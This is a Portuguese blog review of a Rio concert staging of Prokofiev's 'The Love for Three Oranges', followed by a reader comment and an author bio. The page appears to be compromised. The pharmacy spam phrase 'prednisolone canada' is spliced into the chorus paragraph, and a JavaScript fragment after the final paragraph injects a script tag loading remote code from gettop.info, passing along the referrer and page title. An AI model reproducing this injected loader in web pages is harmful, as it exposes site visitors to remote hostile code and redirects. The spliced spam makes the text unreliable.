Movimento

O Amor das Três Laranjas em divertida estreia carioca

Dirigido por Alberto Renault, concerto cênico tem bom resultado.

O Amor das Três Laranjas, em russo Lyubov k Trem Apelsinam (transliteração), é uma ópera em um prólogo, quatro atos e nada menos que onze cenas de Sergei Prokofiev, sobre libreto do próprio compositor traduzido para o francês por Vera Janacopoulos.  A obra baseia-se em uma comédia do italiano Carlo Gozzi (L’Amore delle Tre Melarance), por sua vez baseada em um conto de fadas homônimo de Giambattista Basile.

A adaptação de Prokofiev modernizou a influência da Commedia dell’Arte, presente na obra de Gozzi, além de acrescentar doses cavalares de Surrealismo.  O Rei de Paus, soberano de um reino fictício, preocupa-se com seu filho hipocondríaco.  Para se curar, o Príncipe precisa rir, e toda sorte de artifícios são usados para tentar alegrá-lo.  Amaldiçoado pela fada Morgana, ele parte em busca de três laranjas que escondem três lindas princesas.  Em meio às peripécias do Príncipe, têm lugar interesses políticos e disputas mágicas.  Tudo é apresentado com muito humor, ironia fina e, no final, tudo acaba bem.

Nas palavras de Sônia Zanon, a música de Prokofiev “é irresistivelmente melodiosa, despreocupada, fluente, fácil para o ouvido e temperada com excitantes e imprevisíveis harmonias em intensos e enérgicos ritmos”.

A ópera do mestre russo encerrou neste domingo, 27 de novembro, a Série Vesperal Portinari da Orquestra Petrobras Sinfônica.  Apresentada em forma de concerto cênico, coube a Alberto Renault a responsabilidade de conceber uma espécie de mini-encenação para a obra.  Diretor de TV que, recentemente, não obteve êxito em duas encenações fraquíssimas no Theatro Municipal do Rio (Fidelio e Lucia di Lammermoor), desta vez Renault se encontrou através de uma obra que, bem mais que o Beethoven e o Donizetti citados, aceita suas ideias sem maiores problemas.

Uma ótima comparação, que considero definitiva, está no uso da coreografia.  Enquanto no Fidelio e na Lucia concebidos por Renault as coreografias utilizadas pelo diretor serviam, única e exclusivamente, para “encher linguiça”, como se diz no português claro e sem rodeios, e tinham uma função que era o resultado de zero multiplicado por coisa nenhuma, aqui, nas Laranjas de Prokofiev, muito pelo contrário, a coreografia de Márcia Milhazes ajudou bastante a dar celeridade e eficiência à boa movimentação cênica, através das ótimas performances das bailarinas Ana Amélia Vianna, Aline Arakaki e Ana Figueiredo.

Alberto Renault cuidou bem da direção dos solistas.  É interessante ainda ressaltar que o formato algo reduzido – de pequenas proporções – de um concerto cênico favorece meios simples, como a utilização de um único ambiente para toda a apresentação.  Numa ópera completa, ao contrário, espera-se muito mais de uma encenação.  Cabe a Renault refletir sobre seus equívocos e seus acertos.

Os figurinos de Isabela Capeto, se extravagantes, combinaram bem com a excentricidade da trama, e os adereços de cena de Baba Vacaro também cumpriram bem suas funções.  Correta a luz de Russinho.

A Orquestra Petrobras Sinfônica, que nos últimos anos tem trazido ao Rio de Janeiro interessantes títulos líricos ignorados pelas temporadas próprias do Theatro Municipal (O Anão e O Caso Makropulos), esteve bem sob a condução de Isaac Karabtchevsky, com destaque para duas famosas passagens desta partitura: a Marcha e o Scherzo.  O maestro optou por utilizar a versão francesa da estreia mundial da ópera.  Jacques Ghestem, que solou no trombone, cumpriu seu papel, apesar de pecar na afinação.  O Coro Sinfônico do Rio de Janeiro prednisolone canada (Julio Moretzsohn), como de hábito, teve um ótimo desempenho.

Não me alongarei muito sobre os solistas, visto que foram nada menos que dezesseis!  Portanto, sejamos breves.  Não comprometeram o tenor Ivan Jorgensen (Mestre de Cerimônias) e o baixo Pepes do Valle (Cozinheira).  Corretos estiveram o barítono Manuel Alvarez (Arauto) e o tenor Marcos Paulo (Príncipe).

As meio-sopranos Carla Odorizzi (Nicolette), Luciana Costa e Silva (Sméraldine), Carolina Faria (Linette) e Luísa Francesconi (Princesa Clarisse), e ainda a soprano Gabriela Rossi (Fada Morgana) e os barítonos Vinícius Atique (Pantelon) e Homero Velho (Léandre) estavam bem.

Muito boas foram as performances do tenor Sergio Weintraub (Trouffaldino) e dos barítonos Daniel Soren (Farfarello) e Leonardo Páscoa (Mago Tchelio) – estes dois últimos tendo interpretado um dueto impagável.

Ótimas atuações ofereceram Carlos Eduardo Marcos (o Rei de Paus) e Lina Mendes (Ninette).  Enquanto a soprano cantou pouco, mas apresentou técnica impecável, o baixo foi o principal destaque da tarde, com uma voz segura e muito bem projetada.

Depois de uma Valquíria intensa e eletrizante na última sexta, em São Paulo, o domingo me reservou leveza e humor no Rio de Janeiro.  Qual será a ópera que a Petrobras Sinfônica apresentará na próxima temporada?  Já estou curioso.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);

1 Comment

  1. Uma execução satisfatória do obra de Prokofiev, que acreditou, sobretudo, no poder dos metais e da percussão nesse belo conto de fadas.

Leave a Response

Leonardo Marques
Formado em Letras com pós-graduação em Língua Italiana. Frequentador assíduo de concertos e óperas. Participou de cursos particulares sobre ópera. E-mail: leonardo@movimento.com